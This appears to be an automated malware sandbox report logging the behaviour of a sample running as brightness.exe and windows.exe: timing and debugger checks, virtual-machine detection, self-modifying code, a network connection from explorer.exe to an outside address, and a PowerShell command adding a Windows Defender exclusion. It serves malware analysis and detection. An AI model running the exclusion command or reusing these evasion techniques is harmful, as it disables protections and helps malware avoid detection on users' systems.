Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60F2F second address: 4F60F33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F60F33 second address: 4F60F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0AC0 second address: 4FC0AC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0AC6 second address: 4FC0ADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0ADF second address: 4FC0AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0AFC second address: 4FC0B2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4600EB04F1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0B2A second address: 4FC0B3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0B3D second address: 4FC0B43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0B43 second address: 4FC0B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0B5C second address: 4FC0B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0B60 second address: 4FC0B66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC0B66 second address: 4FC0BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 mov si, DC1Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d lea eax, dword ptr [ebp+10h] 0x00000010 jmp 00007F4600EB04EEh 0x00000015 nop 0x00000016 pushad 0x00000017 call 00007F4600EB04EEh 0x0000001c mov si, 3671h 0x00000020 pop ecx 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F4600EB04F8h 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007F4600EB04EDh 0x00000031 jmp 00007F4600EB04F0h 0x00000036 popad 0x00000037 rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B22EE0 second address: B22EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B0A435 second address: B0A471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007F4600EB051Ch 0x0000000b jmp 00007F4600EB04F6h 0x00000010 pushad 0x00000011 jmp 00007F4600EB04F6h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B21FCA second address: B21FF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F4600C59B0Eh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jc 00007F4600C59B06h 0x00000014 pop ebx 0x00000015 pushad 0x00000016 jng 00007F4600C59B0Eh 0x0000001c pushad 0x0000001d popad 0x0000001e jns 00007F4600C59B06h 0x00000024 push eax 0x00000025 jbe 00007F4600C59B06h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B21FF7 second address: B22019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4600EB04F9h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B22019 second address: B2201D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B226E4 second address: B226EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B24000 second address: B24006 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B24006 second address: B2402C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F4600EB04E6h 0x00000009 jmp 00007F4600EB04F3h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B2402C second address: B2404B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F4600C59B06h 0x00000017 rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B24182 second address: B24187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B24187 second address: B241C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F4600C59B0Ah 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F4600C59B0Dh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F4600C59B0Fh 0x00000024 rdtsc
Source: C:\ProgramData\windows\windows.exe	RDTSC instruction interceptor: First address: B24280 second address: B24286 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Windows\SysWOW64\brightness.exe	Special instruction interceptor: First address: 345B6F instructions caused by: Self-modifying code
Source: C:\Windows\SysWOW64\brightness.exe	Special instruction interceptor: First address: 4EB8D0 instructions caused by: Self-modifying code
Source: C:\Windows\SysWOW64\brightness.exe	Special instruction interceptor: First address: 34302A instructions caused by: Self-modifying code
Source: C:\Windows\SysWOW64\brightness.exe	Special instruction interceptor: First address: 511EE3 instructions caused by: Self-modifying code
Source: C:\Windows\SysWOW64\brightness.exe	Special instruction interceptor: First address: 4F356D instructions caused by: Self-modifying code
Source: C:\Windows\SysWOW64\brightness.exe	Special instruction interceptor: First address: 55F46B instructions caused by: Self-modifying code
Source: C:\ProgramData\windows\windows.exe	Special instruction interceptor: First address: 9A5B6F instructions caused by: Self-modifying code
Source: C:\ProgramData\windows\windows.exe	Special instruction interceptor: First address: B4B8D0 instructions caused by: Self-modifying code
Source: C:\ProgramData\windows\windows.exe	Special instruction interceptor: First address: 9A302A instructions caused by: Self-modifying code
Source: C:\ProgramData\windows\windows.exe	Special instruction interceptor: First address: B71EE3 instructions caused by: Self-modifying code
Source: C:\ProgramData\windows\windows.exe	Special instruction interceptor: First address: B5356D instructions caused by: Self-modifying code
Source: C:\ProgramData\windows\windows.exe	Special instruction interceptor: First address: BBF46B instructions caused by: Self-modifying code

Source: C:\ProgramData\windows\windows.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\windows\windows.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\windows\windows.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_04F60A5A rdtsc

5_2_04F60A5A

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002DCA00 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

5_2_002DCA00

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3720	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5889	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Window / User API: threadDelayed 1170	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Window / User API: threadDelayed 1207	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4744	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5028	Jump to behavior

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Windows\SysWOW64\brightness.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess			graph_5-20514
Source: C:\ProgramData\windows\windows.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess			graph_9-21249

Source: C:\Windows\SysWOW64\brightness.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_5-19467
Source: C:\ProgramData\windows\windows.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_9-20794
Source: C:\Windows\SysWOW64\brightness.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_5-20566

Source: C:\Windows\SysWOW64\brightness.exe	API coverage: 6.7 %
Source: C:\ProgramData\windows\windows.exe	API coverage: 8.7 %
Source: C:\Windows\explorer.exe	API coverage: 8.7 %
Source: C:\ProgramData\windows\windows.exe	API coverage: 1.9 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8132	Thread sleep count: 3720 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8132	Thread sleep count: 5889 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8188	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\ProgramData\windows\windows.exe TID: 7188	Thread sleep count: 78 > 30	Jump to behavior
Source: C:\ProgramData\windows\windows.exe TID: 7188	Thread sleep time: -156078s >= -30000s	Jump to behavior
Source: C:\ProgramData\windows\windows.exe TID: 6848	Thread sleep count: 1170 > 30	Jump to behavior
Source: C:\ProgramData\windows\windows.exe TID: 6848	Thread sleep time: -2341170s >= -30000s	Jump to behavior
Source: C:\ProgramData\windows\windows.exe TID: 4884	Thread sleep count: 1207 > 30	Jump to behavior
Source: C:\ProgramData\windows\windows.exe TID: 4884	Thread sleep time: -2415207s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep count: 4744 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep count: 5028 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7664	Thread sleep count: 175 > 30
Source: C:\Windows\explorer.exe TID: 7664	Thread sleep time: -175000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_002D3620 _memset,_memset,SHGetKnownFolderPath,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	5_2_002D3620
Source: C:\ProgramData\windows\windows.exe	Code function: 9_2_00933620 _memset,_memset,SHGetKnownFolderPath,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	9_2_00933620
Source: C:\Windows\explorer.exe	Code function: 15_2_02E597F0 SHGetKnownFolderPath,lstrlenW,CoTaskMemFree,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	15_2_02E597F0
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_00933620 _memset,_memset,SHGetKnownFolderPath,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	21_2_00933620

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: windows.exe, windows.exe, 00000015.00000002.2051859375.0000000000B2B000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: windows.exe, 00000009.00000002.4252785652.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllM6{
Source: brightness.exe, 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmp, windows.exe, 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmp, windows.exe, 00000015.00000002.2051859375.0000000000B2B000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: brightness.exe, 00000005.00000002.1898947793.0000000001226000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.1923190832.0000000001517000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.4251710491.0000000001517000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.1923391915.0000000001517000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.1923906956.0000000001517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19584
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19577
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19593
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19603
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19513
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19505
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19503
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19587
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19497
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19489
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19581
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19596
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19468
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19774
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19735
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19540
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19575
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19777
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19780
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19472
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19565
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19598
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19551
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19533
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19536
Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_5-19529
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20938
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20833
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20798
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20816
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20902
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20908
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20915
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-21127
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20839
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20795
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20828
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20823
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20911
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-21133
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-21128
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20904
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20879
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20893
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20919
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20928
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20923
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-21086
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20858
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20866
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node	graph_9-20854
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\windows\windows.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\brightness.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Windows\SysWOW64\brightness.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Windows\SysWOW64\brightness.exe	Code function: 5_2_04F6095A Start: 04F6097A End: 04F60976		5_2_04F6095A
Source: C:\ProgramData\windows\windows.exe	Code function: 21_2_047B0091 Start: 047B02D7 End: 047B00C1		21_2_047B0091

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\ProgramData\windows\windows.exe	Open window title or class name: gbdyllo
Source: C:\ProgramData\windows\windows.exe	Open window title or class name: ollydbg

Source: C:\ProgramData\windows\windows.exe	File opened: NTICE
Source: C:\ProgramData\windows\windows.exe	File opened: SICE
Source: C:\ProgramData\windows\windows.exe	File opened: SIWVID

Source: C:\Windows\SysWOW64\brightness.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	Process queried: DebugPort
Source: C:\ProgramData\windows\windows.exe	Process queried: DebugPort
Source: C:\ProgramData\windows\windows.exe	Process queried: DebugPort

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_04F60A5A rdtsc

5_2_04F60A5A

Source: C:\Windows\explorer.exe

Code function: 15_2_02E7A6E8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_02E7A6E8

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 5_2_002DCA00 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

5_2_002DCA00

Source: C:\Windows\explorer.exe

15_2_02E687C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\explorer.exe	Code function: 15_2_02E7A6E8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_02E7A6E8
Source: C:\Windows\explorer.exe	Code function: 15_2_02E7C4B0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_02E7C4B0
Source: C:\Windows\explorer.exe	Code function: 15_2_02E7E488 SetUnhandledExceptionFilter,	15_2_02E7E488
Source: C:\Windows\explorer.exe	Code function: 15_2_02E80D64 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_02E80D64

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 85.31.47.116 3440

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Source: C:\ProgramData\windows\windows.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows'
